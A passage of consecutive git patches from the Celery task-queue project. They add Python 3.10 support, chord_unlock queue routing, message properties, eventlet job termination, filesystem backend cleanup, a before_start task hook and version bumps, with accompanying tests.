${{ startsWith(matrix.python-version, '3.10.0-beta.') }} steps: - name: Install apt packages @@ -64,8 +59,8 @@ jobs: - name: > Run tox for "${{ matrix.python-version }}-unit" - timeout-minutes: 15 - run: > + timeout-minutes: 20 + run: | tox --verbose --verbose - uses: codecov/codecov-action@v1 diff --git a/requirements/extras/couchbase.txt b/requirements/extras/couchbase.txt index f72a0af01d4..a86b71297ab 100644 --- a/requirements/extras/couchbase.txt +++ b/requirements/extras/couchbase.txt @@ -1 +1 @@ -couchbase>=3.0.0; platform_python_implementation!='PyPy' +couchbase>=3.0.0; platform_python_implementation!='PyPy' and (platform_system != 'Windows' or python_version < '3.10') diff --git a/setup.py b/setup.py index 9022141035e..7a760178a65 100644 --- a/setup.py +++ b/setup.py @@ -192,6 +192,7 @@ def run_tests(self): "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", "Operating System :: OS Independent" diff --git a/t/unit/backends/test_asynchronous.py b/t/unit/backends/test_asynchronous.py index df25a683bc3..c0fe894900a 100644 --- a/t/unit/backends/test_asynchronous.py +++ b/t/unit/backends/test_asynchronous.py @@ -1,5 +1,6 @@ import os import socket +import sys import threading import time from unittest.mock import Mock, patch @@ -141,6 +142,10 @@ def test_drain_timeout(self): assert on_interval.call_count < 20, 'Should have limited number of calls to on_interval' +@pytest.mark.skipif( + sys.platform == "win32", + reason="hangs forever intermittently on windows" +) class test_EventletDrainer(DrainerTests): @pytest.fixture(autouse=True) def setup_drainer(self): From 38a645ddf13edfb1f630f54ba9fb6f7868ffbe01 Mon Sep 17 00:00:00 2001 From: MelnykR Date: Sun, 15 Aug 2021 20:19:56 +0300 Subject: [PATCH 309/415] Route chord_unlock task to the same queue as chord body (#6896) * Route chord_unlock task to the same queue as chord body * fix existing tests * add case to cover bugfix --- celery/backends/base.py | 6 ++++++ t/unit/backends/test_base.py | 14 ++++++++++++-- 2 files changed, 18 insertions(+), 2 deletions(-) diff --git a/celery/backends/base.py b/celery/backends/base.py index 6c046028c57..91327ea2190 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -646,6 +646,12 @@ def fallback_chord_unlock(self, header_result, body, countdown=1, body_type = None queue = body.options.get('queue', getattr(body_type, 'queue', None)) + + if queue is None: + # fallback to default routing if queue name was not + # explicitly passed to body callback + queue = self.app.amqp.router.route(kwargs, body.name)['queue'].name + priority = body.options.get('priority', getattr(body_type, 'priority', 0)) self.app.tasks['celery.chord_unlock'].apply_async( (header_result.id, body,), kwargs, diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index 5d04e8a7d03..9023dc14e57 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -206,7 +206,17 @@ def test_chord_unlock_queue(self, unlock='celery.chord_unlock'): self.b.apply_chord(header_result_args, body) called_kwargs = self.app.tasks[unlock].apply_async.call_args[1] - assert called_kwargs['queue'] is None + assert called_kwargs['queue'] == 'testcelery' + + routing_queue = Mock() + routing_queue.name = "routing_queue" + self.app.amqp.router.route = Mock(return_value={ + "queue": routing_queue + }) + self.b.apply_chord(header_result_args, body) + assert self.app.amqp.router.route.call_args[0][1] == body.name + called_kwargs = self.app.tasks[unlock].apply_async.call_args[1] + assert called_kwargs["queue"] == "routing_queue" self.b.apply_chord(header_result_args, body.set(queue='test_queue')) called_kwargs = self.app.tasks[unlock].apply_async.call_args[1] @@ -228,7 +238,7 @@ def callback_different_app(result): callback_different_app_signature = self.app.signature('callback_different_app') self.b.apply_chord(header_result_args, callback_different_app_signature) called_kwargs = self.app.tasks[unlock].apply_async.call_args[1] - assert called_kwargs['queue'] is None + assert called_kwargs['queue'] == 'routing_queue' callback_different_app_signature.set(queue='test_queue_three') self.b.apply_chord(header_result_args, callback_different_app_signature) From 8bff3073cb58326f75d3194a04c5e089ee7abe97 Mon Sep 17 00:00:00 2001 From: InvalidInterrupt Date: Tue, 17 Aug 2021 03:15:55 -0700 Subject: [PATCH 310/415] Add message properties to app.tasks.Context (#6818) * celery.worker.request.Request needs to shallow copy headers to avoid creating a circular reference when inserting properties --- CONTRIBUTORS.txt | 1 + celery/app/task.py | 1 + celery/worker/request.py | 4 +++- docs/userguide/tasks.rst | 5 +++++ t/integration/tasks.py | 5 +++++ t/integration/test_tasks.py | 8 +++++++- 6 files changed, 22 insertions(+), 2 deletions(-) diff --git a/CONTRIBUTORS.txt b/CONTRIBUTORS.txt index 9a1f42338e8..fa80335e9c9 100644 --- a/CONTRIBUTORS.txt +++ b/CONTRIBUTORS.txt @@ -281,5 +281,6 @@ Frazer McLean, 2020/09/29 Henrik Bruåsdal, 2020/11/29 Tom Wojcik, 2021/01/24 Ruaridh Williamson, 2021/03/09 +Garry Lawrence, 2021/06/19 Patrick Zhang, 2017/08/19 Konstantin Kochin, 2021/07/11 diff --git a/celery/app/task.py b/celery/app/task.py index 88f34889255..06366d73ed1 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -85,6 +85,7 @@ class Context: loglevel = None origin = None parent_id = None + properties = None retries = 0 reply_to = None root_id = None diff --git a/celery/worker/request.py b/celery/worker/request.py index c30869bddbf..59bf143feac 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -93,7 +93,8 @@ def __init__(self, message, on_ack=noop, maybe_make_aware=maybe_make_aware, maybe_iso8601=maybe_iso8601, **opts): self._message = message - self._request_dict = message.headers if headers is None else headers + self._request_dict = (message.headers.copy() if headers is None + else headers.copy()) self._body = message.body if body is None else body self._app = app self._utc = utc @@ -157,6 +158,7 @@ def __init__(self, message, on_ack=noop, 'redelivered': delivery_info.get('redelivered'), } self._request_dict.update({ + 'properties': properties, 'reply_to': properties.get('reply_to'), 'correlation_id': properties.get('correlation_id'), 'hostname': self._hostname, diff --git a/docs/userguide/tasks.rst b/docs/userguide/tasks.rst index 60e2acf7f9d..0fb1f2463aa 100644 --- a/docs/userguide/tasks.rst +++ b/docs/userguide/tasks.rst @@ -372,6 +372,11 @@ The request defines the following attributes: current task. If using version one of the task protocol the chain tasks will be in ``request.callbacks`` instead. +.. versionadded:: 5.2 + +:properties: Mapping of message properties received with this task message + (may be :const:`None` or :const:`{}`) + Example ------- diff --git a/t/integration/tasks.py b/t/integration/tasks.py index 8d1119b6302..c8edb01d977 100644 --- a/t/integration/tasks.py +++ b/t/integration/tasks.py @@ -306,6 +306,11 @@ def return_priority(self, *_args): return "Priority: %s" % self.request.delivery_info['priority'] +@shared_task(bind=True) +def return_properties(self): + return self.request.properties + + class ClassBasedAutoRetryTask(Task): name = 'auto_retry_class_task' autoretry_for = (ValueError,) diff --git a/t/integration/test_tasks.py b/t/integration/test_tasks.py index c7c41214e54..5596e2986bf 100644 --- a/t/integration/test_tasks.py +++ b/t/integration/test_tasks.py @@ -9,7 +9,8 @@ from .conftest import get_active_redis_channels from .tasks import (ClassBasedAutoRetryTask, ExpectedException, add, add_ignore_result, add_not_typed, fail, print_unicode, - retry, retry_once, retry_once_priority, sleeping) + retry, retry_once, retry_once_priority, return_properties, + sleeping) TIMEOUT = 10 @@ -270,6 +271,11 @@ def test_unicode_task(self, manager): timeout=TIMEOUT, propagate=True, ) + @flaky + def test_properties(self, celery_session_worker): + res = return_properties.apply_async(app_id="1234") + assert res.get(timeout=TIMEOUT)["app_id"] == "1234" + class tests_task_redis_result_backend: def setup(self, manager): From cd283b6228f69a5dc0d4d3f06c6c9ec308f6fc5f Mon Sep 17 00:00:00 2001 From: Thomas Grainger Date: Tue, 17 Aug 2021 13:34:33 +0100 Subject: [PATCH 311/415] handle already converted LogLevel and JSON (#6915) * handle already converted LogLevel * also handle JSON convert --- celery/bin/base.py | 43 ++++++++++++++++++++++++++++++++++++++----- celery/bin/call.py | 9 +++++---- 2 files changed, 43 insertions(+), 9 deletions(-) diff --git a/celery/bin/base.py b/celery/bin/base.py index 95af1a89316..30358dd8a9a 100644 --- a/celery/bin/base.py +++ b/celery/bin/base.py @@ -1,5 +1,6 @@ """Click customizations for Celery.""" import json +import numbers from collections import OrderedDict from functools import update_wrapper from pprint import pformat @@ -193,17 +194,45 @@ def convert(self, value, param, ctx): return text.str_to_list(value) -class Json(ParamType): - """JSON formatted argument.""" +class JsonArray(ParamType): + """JSON formatted array argument.""" - name = "json" + name = "json array" def convert(self, value, param, ctx): + if isinstance(value, list): + return value + try: - return json.loads(value) + v = json.loads(value) except ValueError as e: self.fail(str(e)) + if not isinstance(v, list): + self.fail(f"{value} was not an array") + + return v + + +class JsonObject(ParamType): + """JSON formatted object argument.""" + + name = "json object" + + def convert(self, value, param, ctx): + if isinstance(value, dict): + return value + + try: + v = json.loads(value) + except ValueError as e: + self.fail(str(e)) + + if not isinstance(v, dict): + self.fail(f"{value} was not an object") + + return v + class ISO8601DateTime(ParamType): """ISO 8601 Date Time argument.""" @@ -242,12 +271,16 @@ def __init__(self): super().__init__(('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL', 'FATAL')) def convert(self, value, param, ctx): + if isinstance(value, numbers.Integral): + return value + value = value.upper() value = super().convert(value, param, ctx) return mlevel(value) -JSON = Json() +JSON_ARRAY = JsonArray() +JSON_OBJECT = JsonObject() ISO8601 = ISO8601DateTime() ISO8601_OR_FLOAT = ISO8601DateTimeOrFloat() LOG_LEVEL = LogLevel() diff --git a/celery/bin/call.py b/celery/bin/call.py index 35ca34e3f33..a04651bdd4f 100644 --- a/celery/bin/call.py +++ b/celery/bin/call.py @@ -1,8 +1,9 @@ """The ``celery call`` program used to send tasks from the command-line.""" import click -from celery.bin.base import (ISO8601, ISO8601_OR_FLOAT, JSON, CeleryCommand, - CeleryOption, handle_preload_options) +from celery.bin.base import (ISO8601, ISO8601_OR_FLOAT, JSON_ARRAY, + JSON_OBJECT, CeleryCommand, CeleryOption, + handle_preload_options) @click.command(cls=CeleryCommand) @@ -10,14 +11,14 @@ @click.option('-a', '--args', cls=CeleryOption, - type=JSON, + type=JSON_ARRAY, default='[]', help_group="Calling Options", help="Positional arguments.") @click.option('-k', '--kwargs', cls=CeleryOption, - type=JSON, + type=JSON_OBJECT, default='{}', help_group="Calling Options", help="Keyword arguments.") From 12f68d911d7fc50e48afd5483633f4e14d8a72df Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 17 Aug 2021 17:23:53 +0300 Subject: [PATCH 312/415] 5.2 is codenamed dawn-chorus. --- README.rst | 4 ++-- celery/__init__.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/README.rst b/README.rst index 462f53ce29c..90603158407 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.2.0b1 (sun-harmonics) +:Version: 5.2.0b1 (dawn-chorus) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -105,7 +105,7 @@ getting started tutorials: .. _`Next steps`: http://docs.celeryproject.org/en/latest/getting-started/next-steps.html - + You can also get started with Celery by using a hosted broker transport CloudAMQP. The largest hosting provider of RabbitMQ is a proud sponsor of Celery. Celery is... diff --git a/celery/__init__.py b/celery/__init__.py index 9dc6c3ce484..df89bf8936f 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -15,7 +15,7 @@ # Lazy loading from . import local -SERIES = 'sun-harmonics' +SERIES = 'dawn-chorus' __version__ = '5.2.0b1' __author__ = 'Ask Solem' From 2ac331026fab3d40ba1b2d106058356c30b48cb6 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 17 Aug 2021 17:34:33 +0300 Subject: [PATCH 313/415] =?UTF-8?q?Bump=20version:=205.2.0b1=20=E2=86=92?= =?UTF-8?q?=205.2.0b2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 66f73487a30..90de144c22e 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.2.0b1 +current_version = 5.2.0b2 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 90603158407..ac0f3e31150 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.2.0b1 (dawn-chorus) +:Version: 5.2.0b2 (dawn-chorus) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.2.0b1 runs on, +Celery version 5.2.0b2 runs on, - Python (3.6, 3.7, 3.8, 3.9) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 or 5.2.0b1 coming from previous versions then you should read our +new to Celery 5.0.5 or 5.2.0b2 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index df89bf8936f..6248ddec82c 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'dawn-chorus' -__version__ = '5.2.0b1' +__version__ = '5.2.0b2' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 600b48da6a9..5cf7b344ea5 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.2.0b1 (cliffs) +:Version: 5.2.0b2 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From ad994719bafe6747af6cf8251efb0925284a9260 Mon Sep 17 00:00:00 2001 From: Dave Johansen Date: Tue, 17 Aug 2021 11:54:04 -0600 Subject: [PATCH 314/415] Add args to LOG_RECEIVED (fixes #6885) (#6898) * Add args and kwargs to LOG_RECEIVED and LOG_SUCCESS * Add kwargs and args to test --- celery/app/trace.py | 2 ++ celery/worker/strategy.py | 8 +++++++- t/unit/worker/test_strategy.py | 2 +- 3 files changed, 10 insertions(+), 2 deletions(-) diff --git a/celery/app/trace.py b/celery/app/trace.py index ad2bd581dbb..8c4f763a592 100644 --- a/celery/app/trace.py +++ b/celery/app/trace.py @@ -527,6 +527,8 @@ def trace_task(uuid, args, kwargs, request=None): 'name': get_task_name(task_request, name), 'return_value': Rstr, 'runtime': T, + 'args': safe_repr(args), + 'kwargs': safe_repr(kwargs), }) # -* POST *- diff --git a/celery/worker/strategy.py b/celery/worker/strategy.py index 09bdea7c1be..b6e9a17c6b6 100644 --- a/celery/worker/strategy.py +++ b/celery/worker/strategy.py @@ -2,6 +2,7 @@ import logging from kombu.asynchronous.timer import to_timestamp +from kombu.utils.encoding import safe_repr from celery import signals from celery.app import trace as _app_trace @@ -151,7 +152,12 @@ def task_message_handler(message, body, ack, reject, callbacks, if _does_info: # Similar to `app.trace.info()`, we pass the formatting args as the # `extra` kwarg for custom log handlers - context = {'id': req.id, 'name': req.name} + context = { + 'id': req.id, + 'name': req.name, + 'args': safe_repr(req.args), + 'kwargs': safe_repr(req.kwargs), + } info(_app_trace.LOG_RECEIVED, context, extra={'data': context}) if (req.expires or req.id in revoked_tasks) and req.revoked(): return diff --git a/t/unit/worker/test_strategy.py b/t/unit/worker/test_strategy.py index cb8c73d17cb..2e81fa0b7f9 100644 --- a/t/unit/worker/test_strategy.py +++ b/t/unit/worker/test_strategy.py @@ -191,7 +191,7 @@ def test_log_task_received_custom(self, caplog): C() for record in caplog.records: if record.msg == custom_fmt: - assert set(record.args) == {"id", "name"} + assert set(record.args) == {"id", "name", "kwargs", "args"} break else: raise ValueError("Expected message not in captured log records") From 16959cdb895b187265745d19a212ca0844c6dd78 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C4=90or=C4=91e=20Ivkovi=C4=87?= Date: Wed, 18 Aug 2021 20:16:37 +0200 Subject: [PATCH 315/415] Terminate job implementation for eventlet concurrency backend (#6917) * Terminate job eventlet implementation #asd * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Use {} instead of dict * Requested fixes * Update workers guide docs Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- celery/concurrency/eventlet.py | 47 +++++++++++++++++++++++++---- docs/userguide/workers.rst | 2 +- t/unit/concurrency/test_eventlet.py | 31 +++++++++++++++++++ 3 files changed, 73 insertions(+), 7 deletions(-) diff --git a/celery/concurrency/eventlet.py b/celery/concurrency/eventlet.py index c6bb3415f69..f9c9da7f994 100644 --- a/celery/concurrency/eventlet.py +++ b/celery/concurrency/eventlet.py @@ -2,6 +2,7 @@ import sys from time import monotonic +from greenlet import GreenletExit from kombu.asynchronous import timer as _timer from celery import signals @@ -93,6 +94,7 @@ class TaskPool(base.BasePool): is_green = True task_join_will_block = False _pool = None + _pool_map = None _quick_put = None def __init__(self, *args, **kwargs): @@ -107,8 +109,9 @@ def __init__(self, *args, **kwargs): def on_start(self): self._pool = self.Pool(self.limit) + self._pool_map = {} signals.eventlet_pool_started.send(sender=self) - self._quick_put = self._pool.spawn_n + self._quick_put = self._pool.spawn self._quick_apply_sig = signals.eventlet_pool_apply.send def on_stop(self): @@ -119,12 +122,17 @@ def on_stop(self): def on_apply(self, target, args=None, kwargs=None, callback=None, accept_callback=None, **_): - self._quick_apply_sig( - sender=self, target=target, args=args, kwargs=kwargs, + target = TaskPool._make_killable_target(target) + self._quick_apply_sig(sender=self, target=target, args=args, kwargs=kwargs,) + greenlet = self._quick_put( + apply_target, + target, args, + kwargs, + callback, + accept_callback, + self.getpid ) - self._quick_put(apply_target, target, args, kwargs, - callback, accept_callback, - self.getpid) + self._add_to_pool_map(id(greenlet), greenlet) def grow(self, n=1): limit = self.limit + n @@ -136,6 +144,12 @@ def shrink(self, n=1): self._pool.resize(limit) self.limit = limit + def terminate_job(self, pid, signal=None): + if pid in self._pool_map.keys(): + greenlet = self._pool_map[pid] + greenlet.kill() + greenlet.wait() + def _get_info(self): info = super()._get_info() info.update({ @@ -144,3 +158,24 @@ def _get_info(self): 'running-threads': self._pool.running(), }) return info + + @staticmethod + def _make_killable_target(target): + def killable_target(*args, **kwargs): + try: + return target(*args, **kwargs) + except GreenletExit: + return (False, None, None) + return killable_target + + def _add_to_pool_map(self, pid, greenlet): + self._pool_map[pid] = greenlet + greenlet.link( + TaskPool._cleanup_after_job_finish, + self._pool_map, + pid + ) + + @staticmethod + def _cleanup_after_job_finish(greenlet, pool_map, pid): + del pool_map[pid] diff --git a/docs/userguide/workers.rst b/docs/userguide/workers.rst index fa3cf468884..74e29490913 100644 --- a/docs/userguide/workers.rst +++ b/docs/userguide/workers.rst @@ -324,7 +324,7 @@ Commands ``revoke``: Revoking tasks -------------------------- -:pool support: all, terminate only supported by prefork +:pool support: all, terminate only supported by prefork and eventlet :broker support: *amqp, redis* :command: :program:`celery -A proj control revoke ` diff --git a/t/unit/concurrency/test_eventlet.py b/t/unit/concurrency/test_eventlet.py index dcd803e5342..9dcdb479b26 100644 --- a/t/unit/concurrency/test_eventlet.py +++ b/t/unit/concurrency/test_eventlet.py @@ -2,6 +2,7 @@ from unittest.mock import Mock, patch import pytest +from greenlet import GreenletExit import t.skip from celery.concurrency.eventlet import TaskPool, Timer, apply_target @@ -101,6 +102,7 @@ def test_pool(self): x.on_apply(Mock()) x._pool = None x.on_stop() + assert len(x._pool_map.keys()) == 1 assert x.getpid() @patch('celery.concurrency.eventlet.base') @@ -130,3 +132,32 @@ def test_get_info(self): 'free-threads': x._pool.free(), 'running-threads': x._pool.running(), } + + def test_terminate_job(self): + func = Mock() + pool = TaskPool(10) + pool.on_start() + pool.on_apply(func) + + assert len(pool._pool_map.keys()) == 1 + pid = list(pool._pool_map.keys())[0] + greenlet = pool._pool_map[pid] + + pool.terminate_job(pid) + greenlet.link.assert_called_once() + greenlet.kill.assert_called_once() + + def test_make_killable_target(self): + def valid_target(): + return "some result..." + + def terminating_target(): + raise GreenletExit() + + assert TaskPool._make_killable_target(valid_target)() == "some result..." + assert TaskPool._make_killable_target(terminating_target)() == (False, None, None) + + def test_cleanup_after_job_finish(self): + testMap = {'1': None} + TaskPool._cleanup_after_job_finish(None, testMap, '1') + assert len(testMap) == 0 From 3ef5b54bd5ff6d5b5e9184f348817a209e9111d6 Mon Sep 17 00:00:00 2001 From: Evgeny Prigorodov Date: Sat, 21 Aug 2021 11:47:16 +0200 Subject: [PATCH 316/415] Add cleanup implementation to filesystem backend (#6919) * Add cleanup implementation to filesystem backend * improve unit test coverage in backends.filesystem.FilesystemBackend.cleanup() * replace os.scandir() with os.listdir() due to possible problems when testing under pypy-3.7, windows-2019 (https://github.com/pytest-dev/pytest/issues/6419) --- celery/backends/filesystem.py | 17 ++++++++++++++ t/unit/backends/test_filesystem.py | 36 ++++++++++++++++++++++++++++++ 2 files changed, 53 insertions(+) diff --git a/celery/backends/filesystem.py b/celery/backends/filesystem.py index 26a48aeaa56..6bc6bb141d0 100644 --- a/celery/backends/filesystem.py +++ b/celery/backends/filesystem.py @@ -1,6 +1,7 @@ """File-system result store backend.""" import locale import os +from datetime import datetime from kombu.utils.encoding import ensure_bytes @@ -94,3 +95,19 @@ def mget(self, keys): def delete(self, key): self.unlink(self._filename(key)) + + def cleanup(self): + """Delete expired meta-data.""" + if not self.expires: + return + epoch = datetime(1970, 1, 1, tzinfo=self.app.timezone) + now_ts = (self.app.now() - epoch).total_seconds() + cutoff_ts = now_ts - self.expires + for filename in os.listdir(self.path): + for prefix in (self.task_keyprefix, self.group_keyprefix, + self.chord_keyprefix): + if filename.startswith(prefix): + path = os.path.join(self.path, filename) + if os.stat(path).st_mtime < cutoff_ts: + self.unlink(path) + break diff --git a/t/unit/backends/test_filesystem.py b/t/unit/backends/test_filesystem.py index 98a37b2e070..4fb46683f4f 100644 --- a/t/unit/backends/test_filesystem.py +++ b/t/unit/backends/test_filesystem.py @@ -1,6 +1,9 @@ import os import pickle +import sys import tempfile +import time +from unittest.mock import patch import pytest @@ -92,3 +95,36 @@ def test_forget_deletes_file(self): def test_pickleable(self): tb = FilesystemBackend(app=self.app, url=self.url, serializer='pickle') assert pickle.loads(pickle.dumps(tb)) + + @pytest.mark.skipif(sys.platform == 'win32', reason='Test can fail on ' + 'Windows/FAT due to low granularity of st_mtime') + def test_cleanup(self): + tb = FilesystemBackend(app=self.app, url=self.url) + yesterday_task_ids = [uuid() for i in range(10)] + today_task_ids = [uuid() for i in range(10)] + for tid in yesterday_task_ids: + tb.mark_as_done(tid, 42) + day_length = 0.2 + time.sleep(day_length) # let FS mark some difference in mtimes + for tid in today_task_ids: + tb.mark_as_done(tid, 42) + with patch.object(tb, 'expires', 0): + tb.cleanup() + # test that zero expiration time prevents any cleanup + filenames = set(os.listdir(tb.path)) + assert all( + tb.get_key_for_task(tid) in filenames + for tid in yesterday_task_ids + today_task_ids + ) + # test that non-zero expiration time enables cleanup by file mtime + with patch.object(tb, 'expires', day_length): + tb.cleanup() + filenames = set(os.listdir(tb.path)) + assert not any( + tb.get_key_for_task(tid) in filenames + for tid in yesterday_task_ids + ) + assert all( + tb.get_key_for_task(tid) in filenames + for tid in today_task_ids + ) From ba64109d68b00b32fb7898daf72f72469aaaebb4 Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Tue, 24 Aug 2021 11:42:40 +0300 Subject: [PATCH 317/415] [pre-commit.ci] pre-commit autoupdate (#6926) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit updates: - [github.com/asottile/pyupgrade: v2.23.3 → v2.24.0](https://github.com/asottile/pyupgrade/compare/v2.23.3...v2.24.0) Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 4781a27634d..c05c93b2734 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,6 +1,6 @@ repos: - repo: https://github.com/asottile/pyupgrade - rev: v2.23.3 + rev: v2.24.0 hooks: - id: pyupgrade args: ["--py36-plus"] From 45871eb839f0c0cbb92e6d6b5a78694c42385589 Mon Sep 17 00:00:00 2001 From: Cristi Date: Wed, 25 Aug 2021 19:26:35 +0200 Subject: [PATCH 318/415] Add before_start hook (fixes #4110) (#6923) * Add before_start handler * Add documentation * Fix docs of arguments; add versionadded directive * Add versionadded directive in docstring Co-authored-by: Cristian Betivu --- celery/app/task.py | 14 ++++++++++++++ celery/app/trace.py | 6 ++++++ docs/userguide/tasks.rst | 12 ++++++++++++ t/unit/tasks/test_trace.py | 8 ++++++++ 4 files changed, 40 insertions(+) diff --git a/celery/app/task.py b/celery/app/task.py index 06366d73ed1..e58b5b8ade5 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -972,6 +972,20 @@ def update_state(self, task_id=None, state=None, meta=None, **kwargs): self.backend.store_result( task_id, meta, state, request=self.request, **kwargs) + def before_start(self, task_id, args, kwargs): + """Handler called before the task starts. + + .. versionadded:: 5.2 + + Arguments: + task_id (str): Unique id of the task to execute. + args (Tuple): Original arguments for the task to execute. + kwargs (Dict): Original keyword arguments for the task to execute. + + Returns: + None: The return value of this handler is ignored. + """ + def on_success(self, retval, task_id, args, kwargs): """Success handler. diff --git a/celery/app/trace.py b/celery/app/trace.py index 8c4f763a592..7b5b00b8c95 100644 --- a/celery/app/trace.py +++ b/celery/app/trace.py @@ -345,8 +345,11 @@ def build_tracer(name, task, loader=None, hostname=None, store_errors=True, loader_task_init = loader.on_task_init loader_cleanup = loader.on_process_cleanup + task_before_start = None task_on_success = None task_after_return = None + if task_has_custom(task, 'before_start'): + task_before_start = task.before_start if task_has_custom(task, 'on_success'): task_on_success = task.on_success if task_has_custom(task, 'after_return'): @@ -442,6 +445,9 @@ def trace_task(uuid, args, kwargs, request=None): # -*- TRACE -*- try: + if task_before_start: + task_before_start(uuid, args, kwargs) + R = retval = fun(*args, **kwargs) state = SUCCESS except Reject as exc: diff --git a/docs/userguide/tasks.rst b/docs/userguide/tasks.rst index 0fb1f2463aa..eeb31d3ed21 100644 --- a/docs/userguide/tasks.rst +++ b/docs/userguide/tasks.rst @@ -1440,6 +1440,18 @@ The default value is the class provided by Celery: ``'celery.app.task:Task'``. Handlers -------- +.. method:: before_start(self, task_id, args, kwargs) + + Run by the worker before the task starts executing. + + .. versionadded:: 5.2 + + :param task_id: Unique id of the task to execute. + :param args: Original arguments for the task to execute. + :param kwargs: Original keyword arguments for the task to execute. + + The return value of this handler is ignored. + .. method:: after_return(self, status, retval, task_id, args, kwargs, einfo) Handler called after the task returns. diff --git a/t/unit/tasks/test_trace.py b/t/unit/tasks/test_trace.py index f796a12aa95..55c106894bd 100644 --- a/t/unit/tasks/test_trace.py +++ b/t/unit/tasks/test_trace.py @@ -61,6 +61,14 @@ def test_trace_successful(self): assert info is None assert retval == 4 + def test_trace_before_start(self): + @self.app.task(shared=False, before_start=Mock()) + def add_with_before_start(x, y): + return x + y + + self.trace(add_with_before_start, (2, 2), {}) + add_with_before_start.before_start.assert_called() + def test_trace_on_success(self): @self.app.task(shared=False, on_success=Mock()) def add_with_success(x, y): From e726978a39a05838805d2b026c4f1c962cfb23b7 Mon Sep 17 00:00:00 2001 From: Josue Balandrano Coronel Date: Thu, 26 Aug 2021 02:49:51 -0500 Subject: [PATCH 319/415] Restart consumer if connection drops (#6930) * Restart consumer if the celery connection drops original commit by @bremac https://github.com/celery/celery/commit/385a60df09201a17ad646c71eb1c00255d0a4431?diff=unified Previously if an ack or reject message failed because the connection was unavailable then celery would stop accepting messages until it was restarted. This problem is that the main celery loop is responsible for detecting closed connections, but the connection errors would not always reach the main loop. There are three places in the celery that share a long-running AMQP connection: 1. The core worker loop listens for new messages. 2. The ack / reject code that runs after a task completes. 3. The heartbeat loop that keeps the connection alive. Neither of the first two are guaranteed to see an error if the connection drops. The main listener may never see an error if the connection drops since it may be swallowed by drain_events; the connection may drop while no work is being done, so the ack / reject code will never be triggered. Fortunately the heartbeat loop is guaranteed to see an error if the connection dies: periodic writes to the socket will fail with a broken pipe error. Unfortunately it runs in a separate thread, so previously connection errors were swallowed silently. This commit alters the heartbeat code so that heartbeat error are always re-raised in the main loop. This triggers existing code in the worker that restarts the worker, reestablishing the connection. With the fix in place I've been able to trigger ten long-running (three minute) RCA queries without the worker hanging; without the fix it became unavailable after one or two queries. * fix: heartbeat_error to object * revert: heartbeat_error has to be pass by reference. - preallocating the list avoids it from growing on each check * fix: add comment * Add unit tests * Fix lint * Update call to args in test Co-authored-by: Steven Joseph --- celery/worker/loops.py | 33 +++++++++++++---- t/unit/worker/test_loops.py | 74 +++++++++++++++++++++++++++++++++++-- 2 files changed, 97 insertions(+), 10 deletions(-) diff --git a/celery/worker/loops.py b/celery/worker/loops.py index b60d95c11de..0630e679fdd 100644 --- a/celery/worker/loops.py +++ b/celery/worker/loops.py @@ -26,11 +26,25 @@ def 